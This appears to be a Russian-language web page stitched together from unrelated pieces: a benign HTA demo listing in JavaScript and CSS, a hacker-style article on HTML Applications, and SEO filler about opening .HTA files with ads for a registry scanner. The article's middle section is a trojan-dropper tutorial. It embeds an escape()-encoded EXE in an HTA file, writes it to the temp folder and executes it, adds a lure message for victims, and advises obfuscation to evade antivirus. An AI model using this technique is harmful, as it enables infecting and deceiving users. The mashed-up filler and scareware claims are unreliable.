    Листинг файла "MyHTA_files\MyHTA.js" // Процедура инициализации окна формы function WindowOnLoad () { var iWidth = 800, iHeight = 500; // Размер окна // Изменение размера окна и его центрирование var iLeft = (screen.availWidth - iWidth) / 2; var iTop = (screen.availHeight - iHeight) / 2; focus(); resizeTo (iWidth, iHeight); moveTo (iLeft, iTop); // Вывод версии приложения на форму Version_Div.innerHTML = "Версия: " + oHTA.Version; } var attributes = ["id","", "applicationName","", "border","Thick", "borderStyle","Normal", "caption", "Yes", "commandLine","Yes", "contextMenu","", "icon","", "innerBorder","Yes", "maximizeButton","Yes", "minimizeButton","Yes", "navigable","No", "scroll","Yes", "scrollFlat","No", "selection","Yes", "showInTaskBar","Yes", "singleInstance","No", "sysMenu","Yes", "version","", "windowState","Normal" ]; function RunApplication(sApplication) { var sCommandLine = ""; var oShell = new ActiveXObject("WScript.Shell"); switch (sApplication) { case "CommandPrompt": sCommandLine = "%ComSpec%"; DynamicContent_Div.innerHTML = "Командная строка открыта"; break; case "TestScript": if (CheckFile(oShell.CurrentDirectory + "\\MyHTA_files\\Test.js")) { sCommandLine = "WScript "" + oShell.CurrentDirectory + "\\MyHTA_files\\Test.js""; DynamicContent_Div.innerHTML = "Скрипт " + oShell.CurrentDirectory + "\MyHTA_files\Test.js" + " выполнен"; } else DynamicContent_Div.innerHTML = "Файл не найден"; break; case "TextFile": if (CheckFile(oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt")) { DynamicContent_Div.innerHTML = "Выберите режим отображения содержимого файла:
      " + "" + ""; } else DynamicContent_Div.innerHTML = "Файл не найден"; break; case "TextFile_Form": DynamicContent_Div.innerHTML = "Текстовый файл: " + oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt" + "Закрыть" + "" + ReadFile(oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt") + ""; break; case "TextFile_Notepad": sCommandLine = "Notepad "" + oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt""; DynamicContent_Div.innerHTML = "Файл " + oShell.CurrentDirectory + "\\MyHTA_files\\Test.txt" + " открыт в блокноте"; break; case "TextFile_Close": DynamicContent_Div.innerHTML = "Добро пожаловать"; break; case "TempDir": sCommandLine = "Explorer " + oShell.ExpandEnvironmentStrings("%Temp%"); DynamicContent_Div.innerHTML = "Папка временных файлов открыта"; break; case "Attributes": var s = "Атрибуты (Свойства)"; for (var i=0; i < attributes.length; i+=2) s += ""+ attributes[i]+ " = " + (oHTA] || attributes) + "
      "; DynamicContent_Div.innerHTML = s + ""; break; case "default": sCommandLine =""; break; } if (sCommandLine.length > 0) oShell.Run (sCommandLine,1,0); } function ReadFile(sFileName) { var oFSO = new ActiveXObject("Scripting.FileSystemObject"); var oInFile = oFSO.OpenTextFile(sFileName, 1, false, 0) var sFileContent = oInFile.ReadAll(); oInFile.Close(); return sFileContent; } function CheckFile(sFilePath) { var oFSO = new ActiveXObject("Scripting.FileSystemObject") return oFSO.FileExists(sFilePath) ? true: false; } Листинг файла "MyHTA_files\MyHTA.css" body { background-color: buttonface; font-family: Tahoma; } h1 { font-size: 18px; margin: 0px;} table { height: 100%; width: 100%; } .Header_Row { height:40px; } .Content_Row { vertical-align: top; } #StaticMenu_Cell { width: 20%; text-align: center; } #StaticMenu_Cell input { width: 150px; margin: 2px; } #DynamicContent_Cell { margin: 2px; } #DynamicContent_Cell #DynamicContent_Div { text-align: center; } .NormalLink { font-family: Tahoma; font-size: 10pt; color: navy; cursor: pointer; text-align: left; padding-right: 20px } .NormalLink:hover { color: red; } #DynamicContent_Cell #DynamicContent_Div .TextFile { font-family: Tahoma; font-size: 10pt; text-align: left; margin-top: 10px; } .Footer_Row { height:30px; } #Version_Div { float: left; } #Button_Div { float: right; } .attr { text-align: left; font-size: 10pt; margin-left:20px; }

      Как-то раз я, листая MSDN, совершенно случайно наткнулся на
      описание одной технологии, которая, как выяснилось, поддерживается еще
      со времен 5-й версии MSIE. Назвается она HTML Applications. Суть в том,
      что если html-контент сохранить в файл с расширением.hta и между
      и вставить специальный тег , то к этому контенту
      не применяются никакие ограничения, связанные с безопасностью, т. е. на странице могут присутствовать любые элементы управления, скрипты могут
      создавать любые COM-объекты, писать в любые файлы и получать доступ к
      контенту во фреймах, независимо от того, из какого домена он был
      загружен. Это дает возможность создавать
      полнофункциональные приложения с HTML-интерфейсом. Если же JavaScript не подходит для отдельных частей
      программы, то их можно реализовать в виде ActiveX объектов, а DHTML
      использовать только для создания GUI. Очевидно, эта технология появилась
      вследствие тенденции использования движка MSIE, где надо и где не надо. О безопасности
      мелкомягкие тоже подумали. Простая вставка тега
      не превращает пагу в доверенный источник. Если открыть
      ссылку на hta-файл, то, как и при открытии exeшников из инета,
      появляется диалог с кнопками «Открыть», «Сохранить» и
      т.д., предупреждающий, что этот контент может представлять опасность.
      Всё правильно, но опытный распространитель троянов сумеет впарить такой
      файл юзверю, не знающему об этой технологии. А уж возможностей скриптов
      и компонентов, установленных на любой windows-тачке,
      достаточно, чтобы скачать и установить какую-нибудь прогу, прописаться в автозагрузке и
      даже стереть все файлы, если это доступно текущему пользователю. HTA-файл может быть вполне работоспособным и полезным
      приложением. Хотя использовать эту технологию в коммерческом софте
      трудно, поскольку HTML/JavaScript исполняется в виде исходника и,
      следовательно, не может содержать платных или секретных алгоритмов.

      Атрибуты тега APPLICATION

      Этот тег не может содержать внутри себя никаких тегов или
      текста, но требует закрывающего тега. Можно писать так:

      , а можно так:
      , как в XML.

      У тега APPLICATION есть довольно много атрибутов, с помощью
      которых устанавливаются свойства окна. Все они необязательны, и если
      тебе безразличен вид окна твоего приложения, то можешь их не указывать. Атрибуты доступны из скриптов, что позволяет изменять свойства
      окна, сворачивать/разворачивать и т.д. Вот список атрибутов с краткими пояснениями:

      applicationName — имя приложения
      version — его версия
      border — тип границы окна
      borderStyle — стиль границы
      caption — показывать ли заголовок окна
      commandLine — возвращает аргументы командной строки
      contextMenu — показывать ли контекстное меню
      icon — иконка окна
      innerBorder — внутренная 3D-рамка
      maximizeButton,
      minimizeButton,
      sysMenu — показывать ли соответствующие кнопки
      navigable — открывать ссылки в том же окне
      scroll,
      scrollFlat — свойства скроллбара
      selection — разрешать выделение
      showInTaskBar — show in taskbar
      singleInstance — только один экземпляр может быть запущен
      windowState — состояние окна

      Старт из HTML

      Теперь конкретный пример того, что можно сделать, имея
      возможность впарить юзеру HTA-файл. Допустим, у тебя есть готовый
      троян в виде exe-файла, и тебе не терпится совместить его с новой
      технологией. Трояны обычно бывают маленькими, и, думаю, что ничего страшного
      не произойдет, если размер нашего HTML-приложения будет немного больше.
      Для того, чтобы вставить бинарные данные в текст, нам потребуется их
      закодировать. В JavaScript поддерживается стандартное кодирование урлов.
      Этот метод годится только, если нетекстовых символов в коде мало. Если
      их много (а так обычно бывает, так как внутри ехе-файлов заголовки и
      секции дополняются нулами для выравнивания), то этот метод не самый
      хороший. В худшем случае код будет втрое длиннее исходного. Гораздо
      лучше было бы заюзать кодировку base64, при которой размер любых данных
      увеличивается на 33%, но я не нашел в JavaScript встроенных
      средств кодирования и декодирования по base64, а реализовывать их прямо на
      JavaScript как-то некрасиво, имхо. Так что кодировать будем функцией
      escape(), а декодировать — unescape(). Эксперимент показывает, что эти
      функции работают со строками любой длины. Так что можно записать весь
      экзешник одной строковой константой в скрипте.

      Итак, алгоритм, который нужно реализовать в скрипте, такой:

      1) Раскодировать содержимое исполняемого файла
      2) Записать его
      3) Запустить

      Отметим один момент: важно не лопухнуться с выбором места для
      файла. Если юзер не админ, то записать файл куда-попало не получится.
      Нужно узнать от системы путь, например, папки temp (а это мы сделаем
      тоже средствами JavaScript), и записать файл туда.

      Итак, затрояненный HTA-файл может выглядеть примерно так.


      code = «MZ%90%00%03%00%00%00%04 …… «; // Закодированный троян

      var fso = new ActiveXObject(«Scripting.FileSystemObject»);

      var tf = fso.GetSpecialFolder(2); // Получим windows\temp
      var fn = tf + «\\x.exe»; // Добавим имя файла

      var a = fso.CreateTextFile(fn, true); // Запишем в файл тело трояна
      a.Write(unescape(code));
      a.Close();

      var WshShell = new ActiveXObject(«WScript.Shell»);
      WshShell.Exec(fn); // Запустим его




      Привет, чувак!
      TheBat не показывает картинки, так что открой этот файл в Ехплорере.

      Неплохо еще защитить скрипт от обнаружения антивирусом.
      Существуют проги, изменяющие скрипты до неузнаваемости. Они называются
      obfuscators (подробнее о них можешь прочитать в ). Microsoft предлагает свой обфускатор — Windows Script
      Encoder. Он шифрует скрипты, а расшифровщик встроен в состему.
      Инструкция честно предупреждает, что Windows Script Encoder не защитит
      код от целеустремленного хакера. От хакера, может, и не защитит, а от
      антивируса защитит. Нужно только скормить ему готовый HTA-файл,
      и вместо скрипта появится какая-то абракадабра, а вместо
      «JavaScript» будет написано «JavaScript.Encoded». Нельзя забывать о том, что ехе-компоненту тоже необходимо
      сделать неузнаваемой, так как она записывается на диск, и при этом
      может быть обнаружена антивирусным монитором.

      Что это за файл - HTA?

      Файлы с расширением.HTA содержат HTML-код и возможный код сценария на языке VBScript или JScript и обычно могут запускаться в окне веб-браузера. Файлы HTA в Windows выполняются узлом приложения Microsoft HTML - Mshta.Exe - после двойного щелчка по ним.

      Если файл HTA находится в Интернете, браузер обычно предоставляет диалоговое окно с вопросом, хотите ли вы запустить или сохранить файл. Файл HTA можно создать, изменив расширение файла с на.HTA.

      Программа(ы), умеющие открыть файл .HTA Windows Mac OS

      Если появилась ситуация, в которой Вы не можете открыть файл HTA на своем компьютере - причин может быть несколько. Первой и одновременно самой важной (встречается чаще всего) является отсутствие соответствующей аппликации обслуживающей HTA среди установленных на Вашем компьютере.

      Самым простым способом решения этой проблемы является нахождение и скачивание соответствующей аппликации. Первая часть задания, уже выполнена, - программы для обслуживания файла HTA Вы найдете ниже. Теперь достаточно скачать и установить соответствующую аппликацию.

      В дальнейшей части этой страницы Вы найдете другие возможные причины, вызывающие проблемы с файлами HTA.

      Возможные проблемы с файлами в формате HTA

      Отсутствие возможности открытия и работы с файлом HTA, совсем не должен значить, что мы не имеем установленного на своем компьютере соответствующего программного обеспечения. Могут выступать другие проблемы, которые также блокируют нам возможность работы с файлом HTML Program Format. Ниже находится список возможных проблем.

      • Повреждение открываемого файла HTA.
      • Ошибочные связи файла HTA в записях реестра.
      • Случайное удаление описания расширения HTA из реестра Windows
      • Некомплектная установка аппликации, обслуживающей формат HTA
      • Открываемый файл HTA инфицирован нежелательным, вредным программным обеспечением.
      • На компьютере слишком мало места, чтобы открыть файл HTA.
      • Драйверы оборудования, используемого компьютером для открытия файла HTA неактуальные.

      Если Вы уверены, что все перечисленные поводы отсутствуют в Вашем случае (или были уже исключены), файл HTA должен сотрудничать с Вашими программами без каких либо проблем. Если проблема с файлом HTA все-таки не решена, это может значить, что в этом случае появилась другая, редкая проблема с файлом HTA. В таком случае остается только помощь специалиста.

      .a6p Adobe Authorware Application Format
      .action Mac OS X Automator Action Format
      .actm Autodesk AutoCAD Action Macro Format
      .ahk AutoHotkey Script Format
      .air Adobe AIR Rich Internet Applications
      .apk Google Android Package Format
      .app MAC Application Package Or Core System Service Format
      .applescript AppleScript Script Format
      Как связать файл с установленной программой?

      Если Вы хотите связать какой-то файл с новой программой (напр. moj-plik.HTA) Вы можете воспользоваться двумя вариантами. Первый и самый простой - это нажатие правой кнопкой мышки на избранный файл HTA. Из открытого меню выберите опцию Выбрать программу по умолчанию" , затем опцию "Пересматривать" и найти требуемую программу. Всю операцию необходимо утвердить нажатием кнопки OK.

      Есть ли универсальный метод открытия неизвестных файлов?

      Многие файлы содержат данные в виде текста или чисел. Возможно, что во время открытия неизвестных файлов (напр. HTA) популярный в системе Windows простой редактор текста, которым является Notatnik позволит нам увидеть часть данных, закодированных в файле. Этот метод позволяет просмотреть содержимое многих файлов, однако не в такой форме, как программа, предназначенная для их обслуживания.

      Главный писатель по вопросам технологий

      Вам кто-то послал по электронной почте файл HTA, и вы не знаете, как его открыть? Может быть, вы нашли файл HTA на вашем компьютере и вас заинтересовало, что это за файл? Windows может сказать вам, что вы не можете открыть его, или, в худшем случае, вы можете столкнуться с соответствующим сообщением об ошибке, связанным с файлом HTA.

      До того, как вы сможете открыть файл HTA, вам необходимо выяснить, к какому виду файла относится расширения файла HTA.

      Tip: Incorrect HTA file association errors can be a symptom of other underlying issues within your Windows operating system. These invalid entries can also produce associated symptoms such as slow Windows startups, computer freezes, and other PC performance issues. Therefore, it highly recommended that you scan your Windows registry for invalid file associations and other issues related to a fragmented registry.

      Ответ:

      Файлы HTA имеют Исполнимые файлы, который преимущественно ассоциирован с Hypertext Application.

      Файлы HTA также ассоциированы с Hemera Thumbnail Archive (Hemera Technologies Inc.), Tonline BSW4 File и FileViewPro.

      Иные типы файлов также могут использовать расширение файла HTA. Если вам известны любые другие форматы файлов, использующие расширение файла HTA, пожалуйста, свяжитесь с нами , чтобы мы смогли соответствующим образом обновить нашу информацию.

      Как открыть ваш файл HTA:

      Самый быстрый и легкий способ открыть свой файл HTA - это два раза щелкнуть по нему мышью. В данном случае система Windows сама выберет необходимую программу для открытия вашего файла HTA.

      В случае, если ваш файл HTA не открывается, весьма вероятно, что на вашем ПК не установлена необходимая прикладная программа для просмотра или редактирования файлов с расширениями HTA.

      Если ваш ПК открывает файл HTA, но в неверной программе, вам потребуется изменить настройки ассоциации файлов в вашем реестре Windows. Другими словами, Windows ассоциирует расширения файлов HTA с неверной программой.

      Установить необязательные продукты - FileViewPro (Solvusoft) | | | |

      HTA Инструмент анализа файлов™

      Вы не уверены, какой тип у файла HTA? Хотите получить точную информацию о файле, его создателе и как его можно открыть?

      Теперь можно мгновенно получить всю необходимую информацию о файле HTA!

      Революционный HTA Инструмент анализа файлов™ сканирует, анализирует и сообщает подробную информацию о файле HTA. Наш алгоритм (ожидается выдача патента) быстро проанализирует файл и через несколько секунд предоставит подробную информацию в наглядном и легко читаемом формате.†

      Уже через несколько секунд вы точно узнаете тип вашего файла HTA, приложение, сопоставленное с файлом, имя создавшего файл пользователя, статус защиты файла и другую полезную информацию.

      Чтобы начать бесплатный анализ файла, просто перетащите ваш файл HTA внутрь пунктирной линии ниже или нажмите «Просмотреть мой компьютер» и выберите файл. Отчет об анализе файла HTA будет показан внизу, прямо в окне браузера.

      Перетащите файл HTA сюда для начала анализа

      Просмотреть мой компьютер »

      Пожалуйста, также проверьте мой файл на вирусы

      Ваш файл анализируется... пожалуйста подождите.